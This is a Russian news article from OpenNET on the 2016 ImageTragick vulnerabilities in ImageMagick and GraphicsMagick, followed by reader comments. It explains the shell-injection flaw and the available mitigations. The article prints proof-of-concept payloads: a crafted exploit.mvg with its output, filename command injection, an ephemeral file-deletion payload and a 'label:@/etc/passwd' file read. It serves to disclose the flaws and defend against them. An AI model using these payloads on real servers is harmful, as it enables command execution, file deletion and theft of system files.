The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги ]

04.05.2016 10:00  Критическая уязвимость в пакете ImageMagick, используемом на многих сайтах

В пакете ImageMagick, который часто используется web-разработчиками для преобразования изображений (например, создания миниатюр), устранена порция уязвимостей, среди которых имеется критическая проблема (CVE-2016-3714), позволяющая организовать выполнение кода при обработке специально оформленных изображений. В том числе проблеме подвержены пользователи пакетов PHP imagick, Ruby rmagick, Ruby paperclip и Node.js imagemagick. Уязвимости присвоено имя "ImageTragick".

Исследователями уже подготовлен рабочий прототип эксплоита, который вероятно уже взят злоумышленниками на вооружение для проведения атак (имеются сведения, что информация об уязвимости стала доступна посторонним до обнародования проблемы). Всем пользователям рекомендуется незамедлительно обновить ImageMagick, но на момент написания новости исправление доступно лишь в виде патча, сомнительного с точки зрения эффективности защиты. Обновления пакетов для дистрибутивов еще не сформированы: Debian, Ubuntu, RHEL/CentOS, SUSE, openSUSE, FreeBSD, Fedora.

В качестве обходного пути защиты пользователям ImageMagick рекомендуется отключить проблемные типы обработчиков (EPHEMERAL, URL, HTTPS, MVG, MSL) в файле конфигурации /etc/ImageMagick/policy.xml. Кроме того, предлагается реализовать проверку поступающих на обработку изображений на предмет соответствия расширения файла и его идентификатора в заголовке файла (GIF - "47 49 46 38", JPEG - "FF D8" и т.п.).

Уязвимость вызвана ненадлежащей проверкой имён файлов при вызове внешних обработчиков, которые запускаются при помощи функции system() с использованием одной строки, без разделения опций. Так как параметр с именем файла (%M) передаётся напрямую без чистки и имеется возможность передачи произвольных спецсимволов, не составляет труда осуществить подстановку любых shell-команд. Например, обработчик HTTPS оформлен как '"wget" -q -O "%o" "https:%M"', что позволяет вместо имени хоста указать "https://example.com`ls -la`" или "https://example.com|ls -la" и выполнить команду 'ls -la', например 'convert 'https://example.com"|ls "-la' out.png'.

Опасность проблемы усиливает то, что она проявляется не только при прямом вызове, но и при косвенном обращении к ресурсам. Например, типы SVG и MVG позволяют ссылаться на внешние ресурсы, что даёт возможность организовать атаку через передачу файлов SVG и MVG с нормальным именем, которое пройдёт первый уровень проверки в web-приложении. Например, для атаки можно загрузить SVG-файл с тегом '‹image xlink:href="https://example.com/image.jpg"|ls "-la"›' или файл exploit.mvg с командой 'url(https://example.com/image.jpg"|ls "-la)', что приведёт к выполнению 'ls -la' при их обработке в ImageMagick. Например:


   $ cat exploit.mvg
   push graphic-context
   viewbox 0 0 640 480
   fill 'url(https://example.com/image.jpg"|ls "-la)'
   pop graphic-context

   $ convert exploit.mvg out.png
   total 32
   drwxr-xr-x 6 user group 204 Apr 29 23:08 .
   drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
   ...

Более того, так как ImageMagick определяет тип по содержимому заголовка, а не расширению, атакующий может загрузить проблемные SVG- и MVG-файлы под видом других типов изображений, например, вместо вышеприведённого exploit.mvg загрузить файл exploit.jpg, который на деле будет обработан как файл MVG.

Кроме CVE-2016-3714, в ImageMagick также выявлено несколько менее опасных уязвимостей, принцип эксплуатации которых также основывается на манипуляции с файлами в формате MVG:

  • CVE-2016-3718 - возможность инициирования внешних запросов HTTP GET или FTP при обработке специально оформленных изображений. Например, для формата MVG можно указать 'url(http://example.com/)';
  • CVE-2016-3715 - возможность удаления файлов при обработке специально оформленных изображений. В MVG-файле может быть вызван обработчик 'ephemeral' (например, "image over 0,0 0,0 'ephemeral:/tmp/delete.txt'"), который удаляет файлы после их чтения;
  • CVE-2016-3716 - возможность перемещения файлов при обработке специально оформленных изображений через применение протокола msl. Например, доступен интересный эксплоит (secgeek.net/POC/POC.gif), позволяющий использовать данную уязвимость для установки PHP Shell;
  • CVE-2016-3717 - доступ к произвольным локальным файлам на сервере через использование псевдопротокола 'label' (например, "image over 0,0 0,0 'label:@/etc/passwd'"). После выполнения "convert file_read.mvg out.png" на результирующем изображении будет текст с содержимым файла.

Дополнение 1: Судя по всему проблеме также подвержен пакет GraphicsMagick, форк ImageMagick.

Дополнение 2: Разработчики GraphicsMagick проанализировали подверженность их пакета уязвимостям в ImageMagick. Несмотря на дополнительные проверки аргументов, в GraphicsMagick также возможна эксплуатация с выполнением команд в shell. Атака может быть организована через формат "gplt", который обрабатывается через запуск gnuplot, который производится функцией system().

  1. Главная ссылка к новости (http://openwall.com/lists/oss-...)
  2. OpenNews: В FFmpeg устранена уязвимость, которая может привести к утечке локальных файлов
  3. OpenNews: Опасная уязвимость в реализациях LZO/LZ4, затрагивающая ядро Linux, FFmpeg, OpenVPN и другие проекты
Лицензия: CC-BY
Тип: Интересно / Проблемы безопасности
Ключевые слова: imagemagick
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Линейный вид | Ajax | Показать все | RSS
 
  • 1.1, анон, 10:08, 04/05/2016 [ответить] [смотреть все]
  • +/
    стоп. т.е. если файл был получен от пользователя в request и его сохранили локально не под его настоящим именем, а под автогенерированным(с сохранением расширения), а потом обработали imageMagick-ом, то серверу ничего не будет?
    если да, то это тогда webMonkeyTragick.
     
     
  • 2.3, анон, 10:41, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]
  • +3 +/
    охохох если все так и обстоит с svg и ко, то это просто дыра космического масшт... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.46, Ухаха, 10:05, 05/05/2016 [^] [ответить] [смотреть все]  
  • +2 +/
    Речь только о формате MVG, содержимое которого является набором команд Imagema... весь текст скрыт [показать]
     
     
  • 4.54, Аноним, 02:41, 09/05/2016 [^] [ответить] [смотреть все]  
  • +/
    Можно назвать это photo jpg, далее image magic при попытке сконвертировать казал... весь текст скрыт [показать]
     
  • 2.28, Аноним, 13:47, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Нет, замены имени файла недостаточно ... весь текст скрыт [показать] [показать ветку]
     
  • 1.2, dgdsgfsadfgsdfgsdfg, 10:08, 04/05/2016 [ответить] [смотреть все]  
  • +5 +/
    Навеяло kotyata.jpg.exe
     
  • 1.5, бедный буратино, 10:44, 04/05/2016 [ответить] [смотреть все]  
  • –1 +/
    ну, imagemagick мне бы в любом случае было бы страшно в веб пускать

    уж лучше py-PIL / py-Pillow

     
     
  • 2.6, Аноним, 10:54, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    > уж лучше py-PIL / py-Pillow

    который обвязка над  ImageMagick? (шутка)

     
     
  • 3.10, бедный буратино, 11:12, 04/05/2016 [^] [ответить] [смотреть все]  
  • +2 +/
    Нет, он вообще никак не связан с imagemagick.
     
  • 2.20, playnet0, 13:11, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    В pillow я за неделю зарепортил 3 серьезных бага, и еще пару не очень серьезных,... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.22, бедный буратино, 13:19, 04/05/2016 [^] [ответить] [смотреть все]  
  • –2 +/
    они позволяют выполнить произвольный код на системе?
     
     
  • 4.25, playnet0, 13:23, 04/05/2016 [^] [ответить] [смотреть все]  
  • +/
    хз, там были ошибки обработки форматов, приводящие в том числе к некорректному и... весь текст скрыт [показать]
     
     
  • 5.34, Pahanivo, 15:20, 04/05/2016 [^] [ответить] [смотреть все]  
  • –5 +/
    Вы по ходу вообще не одупляете о чем речь и путаете глюки с уязвимостями.
     
     
  • 6.35, igelko, 16:08, 04/05/2016 [^] [ответить] [смотреть все]  
  • +4 +/
    каждый сегфолт - это потенциальный проезд по памяти с дальнейшим RCE.
     
  • 3.43, Аноним, 01:07, 05/05/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    Это же буратина, он вечно всякую херню к себе тащит.
     
  • 1.8, Аноним, 10:58, 04/05/2016 [ответить] [смотреть все]  
  • +2 +/
    ... весь текст скрыт [показать]
     
  • 1.9, Аноним, 10:59, 04/05/2016 [ответить] [смотреть все]  
  • +1 +/
    А GraphicsMagick подвержен?
     
     
  • 2.11, Аноним, 11:12, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Да, там в delegate c тот же system command используется, только через обёртку ... весь текст скрыт [показать] [показать ветку]
     
  • 2.36, vitalif, 16:11, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    НЕА gm convert exploit mvg exploit png gm convert Unrecognized color url h... весь текст скрыт [показать] [показать ветку]
     
  • 1.12, anonymous, 11:15, 04/05/2016 [ответить] [смотреть все]  
  • +2 +/
    Мда. А ведь совсем недавно такой же баг выловили из ffmpeg
     
     
  • 2.15, Аноним, 11:50, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    ЕМНИП, выловили тоже мейлрушники.
     
     
  • 3.21, Буратино, 13:13, 04/05/2016 [^] [ответить] [смотреть все]  
  • +5 +/
    Вот такой вот удочкой вестимо удили: grep -rw 'system'
     
  • 1.13, Аноним, 11:29, 04/05/2016 [ответить] [смотреть все]  
  • +/
    Странный CVE, это же штатная возможность, как она может быть багом ... весь текст скрыт [показать]
     
  • 1.14, Аноним, 11:38, 04/05/2016 [ответить] [смотреть все]  
  • +1 +/
    Security Circus
     
  • 1.16, Аноним, 12:12, 04/05/2016 [ответить] [смотреть все]  
  • +/
    Так вот чем thumbnail-ы в Linux создавать Я всегда обходил стороной эту програм... весь текст скрыт [показать]
     
     
  • 2.17, Аноним, 12:34, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    На большинстве установок прав процесса сервера приложений вполне достаточно.
     
  • 2.18, Аноним, 12:44, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    У gimp а и IMM разные назначения Эта фигня удобна в качестве швейцарского ножа... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.23, playnet0, 13:21, 04/05/2016 [^] [ответить] [смотреть все]  
  • +/
    И что с ним делать Паролей там нет Список пользователей разве что, но эта инфа... весь текст скрыт [показать]
     
     
  • 4.44, Аноним, 01:11, 05/05/2016 [^] [ответить] [смотреть все]  
  • +2 +/
    Там есть точное имя юзера не надо угадывать , их список можно подбирать пароль... весь текст скрыт [показать]
     
  • 3.45, АнОНим, 02:47, 05/05/2016 [^] [ответить] [смотреть все]  
  • +/
    Процессы запускаются от имени пользователя nginx или apache.
     
  • 2.24, Аноним, 13:21, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    а зачем запускать из-под рута достаточно запустить от имени клиента хостинга, к... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.48, Возмущенная общественность, 16:21, 05/05/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    a зачем когда есть православный find ls дуба не даст в директории с мульоном дж... весь текст скрыт [показать]
     
     
  • 4.51, Аноним, 00:12, 06/05/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    Даст 4 гига размер командной строки ... весь текст скрыт [показать]
     
  • 4.52, Andrey Mitrofanov, 07:06, 06/05/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    Преждевременную замечаю я в тебе оптимизацию не к месту, молодой падаван Светла... весь текст скрыт [показать]
     
  • 1.19, Аноним, 13:05, 04/05/2016 [ответить] [смотреть все]  
  • +1 +/
    Так делать - признак дичайшего быдл_окода Как это могли пропустить, код ревью г... весь текст скрыт [показать]
     
     
  • 2.40, Аноним, 20:31, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Справедливости ради желательно учитывать цели и юзкейзы самого проекта А то с о... весь текст скрыт [показать] [показать ветку]
     
  • 1.26, playnet0, 13:26, 04/05/2016 [ответить] [смотреть все]  
  • –1 +/
    а что именно в полиси вписывать?
     
     
  • 2.29, Аноним, 13:50, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    С сайта в шапке https imagetragick com code policymap policy domain co... весь текст скрыт [показать] [показать ветку]
     
  • 1.31, vitalif, 14:19, 04/05/2016 [ответить] [смотреть все]  
  • –1 +/
    > Кроме того, предлагается реализовать проверку поступающих на обработку изображений на предмет соответствия расширения

    Так это... кто вообще по расширению тип файла определяет? Это же кривожопие) libmagic (в php - fileinfo) на что дана?

     
     
  • 2.39, scorry, 18:41, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    > ... кто вообще по расширению тип файла определяет?

    Ты не поверишь...

     
     
  • 3.42, vitalif, 21:19, 04/05/2016 [^] [ответить] [смотреть все]  
  • +/
    сержант, вы не поверите в то, что я сейчас вам скажу - не поверю грань буду... весь текст скрыт [показать]
     
  • 2.41, Led, 20:31, 04/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +3 +/
    > кто вообще по расширению тип файла определяет?

    Ведузоеды.

     
  • 1.32, vitalif, 14:20, 04/05/2016 [ответить] [смотреть все]  
  • +2 +/
    нахрена они вообще что-то через system запускают, ё-моё
     
     
  • 2.53, Аноним, 09:57, 06/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Нахрена они вообще что-то запускают?
     
  • 1.33, Нанобот, 14:42, 04/05/2016 [ответить] [смотреть все]  
  • –1 +/
    >обработчиков, которые запускаются при помощи функции system()

    ССЗБ

     
  • 1.47, arisu, 14:47, 05/05/2016 [ответить] [смотреть все]  
  • +1 +/
    ох… уберите уже детей из интернетов. и из разработки вообще.

    это, если кто не понял, я не про imagemagick, а про дегенератов, которых в детстве не научили использовать вещи по назначению и не тянуть в рот что попало.

     
     
  • 2.56, Аноним, 02:49, 09/05/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    System интересная функция Для грепания В 90 случаев найдется или бэкдор или... весь текст скрыт [показать] [показать ветку]
     
  • 1.49, абвгдейка, 21:37, 05/05/2016 [ответить] [смотреть все]  
  • +/
    а главное никто не заметил - у мейлрушечного Karim Valiev почта на жимейле <valievkarim@...il.com> :)
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2017 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    Hosting by Ihor